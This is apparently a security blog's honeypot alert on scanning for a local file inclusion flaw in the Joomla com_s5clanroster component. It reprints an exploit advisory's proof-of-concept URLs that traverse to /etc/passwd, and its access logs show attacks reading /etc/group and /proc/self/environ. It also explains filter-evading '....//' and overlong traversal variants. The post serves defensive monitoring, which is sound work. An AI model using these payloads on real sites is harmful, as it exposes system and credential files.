Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

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SpiderLabs Blog

[Honeypot Alert] Joomla com_s5clanroster Local File Inclusion Attacks

Our web honeypots picked up some increased scanning for the following Exploit-DB vulnerability:

==================================================================================================================


[o] Joomla Component S5 Clan Roster Local File Inclusion Vulnerability

Software : com_s5clanroster
Vendor : http://www.shape5.com
Author : AntiSecurity [ s4va Vrs-hCk NoGe OoN_BoY Paman zxvf ]
Contact : public[at]antisecurity[dot]org
Home : http://antisecurity.org/


==================================================================================================================


[o] Exploit

http://localhost/[path]/index.php?option=com_s5clanroster&view=[LFI]
http://localhost/[path]/index.php?option=com_s5clanroster&controller=[LFI]


[o] PoC

http://localhost/index.php?option=com_s5clanroster&view=../../../../../../../../../../etc/passwd%00
http://localhost/index.php?option=com_s5clanroster&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


[o] Greetz

Angela Zhang stardustmemory aJe martfella pizzyroot Genex
H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


[o] April 14 2010 - GMT +07:00 Jakarta, Indonesia

Here are some examples of the attacks we saw:

82.165.134.221 - - [14/Apr/2012:04:08:14 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../etc/group%0000 HTTP/1.1" 404 216
82.165.134.221 - - [14/Apr/2012:04:08:15 +0900] "GET //index.php?option=com_s5clanroster&view=../../../etc/group%0000 HTTP/1.1" 404 21682.165.134.221 - - [14/Apr/2012:04:08:15 +0900] "GET //index.php?option=com_s5clanroster&view=../../etc/group%0000 HTTP/1.1" 404 216
82.165.134.221 - - [14/Apr/2012:04:08:16 +0900] "GET //index.php?option=com_s5clanroster&view=../etc/group%0000 HTTP/1.1" 404 216174.142.61.153 - - [14/Apr/2012:04:15:41 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 21691.121.211.92 - - [14/Apr/2012:04:17:19 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.
1" 404 21691.121.211.92 - - [14/Apr/2012:04:17:19 +0900] "GET /access_log.last//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../proc/self/en
viron%00 HTTP/1.1" 404 232174.142.61.153 - - [14/Apr/2012:04:17:40 +0900] "GET /access_log.last//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../..
/../../../../../proc/self/environ%0000 HTTP/1.1" 404 232174.142.61.153 - - [14/Apr/2012:04:17:41 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:17:43 +0900] "GET /access_log//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../.
./../../../proc/self/environ%0000 HTTP/1.1" 404 227
174.142.61.153 - - [14/Apr/2012:04:28:33 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:29:32 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:30:39 +0900] "GET /access_log.last//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../..
/../../../../../proc/self/environ%0000 HTTP/1.1" 404 232
174.142.61.153 - - [14/Apr/2012:04:30:40 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:30:46 +0900] "GET /access_log//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../.
./../../../proc/self/environ%0000 HTTP/1.1" 404 227209.235.136.114 - - [14/Apr/2012:08:03:26 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../../../../etc/passwd%0000 H
TTP/1.0" 404 204
209.235.136.114 - - [14/Apr/2012:08:03:26 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP
/1.0" 404 204209.235.136.114 - - [14/Apr/2012:08:03:27 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP/1.
0" 404 204209.235.136.114 - - [14/Apr/2012:08:03:28 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP/1.0"
404 204

We received attacks from 16 different IP addresses:

166.70.107.5
174.142.61.153
177.19.138.42
189.3.93.242
202.124.242.10
207.32.48.1
209.235.136.113
209.235.136.114
209.235.136.115
46.163.76.40
69.49.102.173
69.49.102.175
82.165.134.221
83.143.81.78
91.121.211.92
91.215.216.52

While these scan examples were rather normal (we have seen these directory traversal attempts many times before for other Joomla components), there was a variation in the directory traversal methods being used. Here are two examples:

69.49.102.173 - - [15/Apr/2012:09:35:36 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..
/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/group%0000 HTTP/1.0" 404 20469.49.102.173 - - [15/Apr/2012:09:35:37 +0900] "GET //index.php?option=com_s5clanroster&controller=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//..../
/....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd%0000 HTTP/1.0" 404 204

A good bet for the use of these techniques are:

  1. The excessively long length is to ensure that the path makes it to "/"
  2. In case there are any sanitizing functions that strip out "../" then the "....//" input would still yield "../"

 

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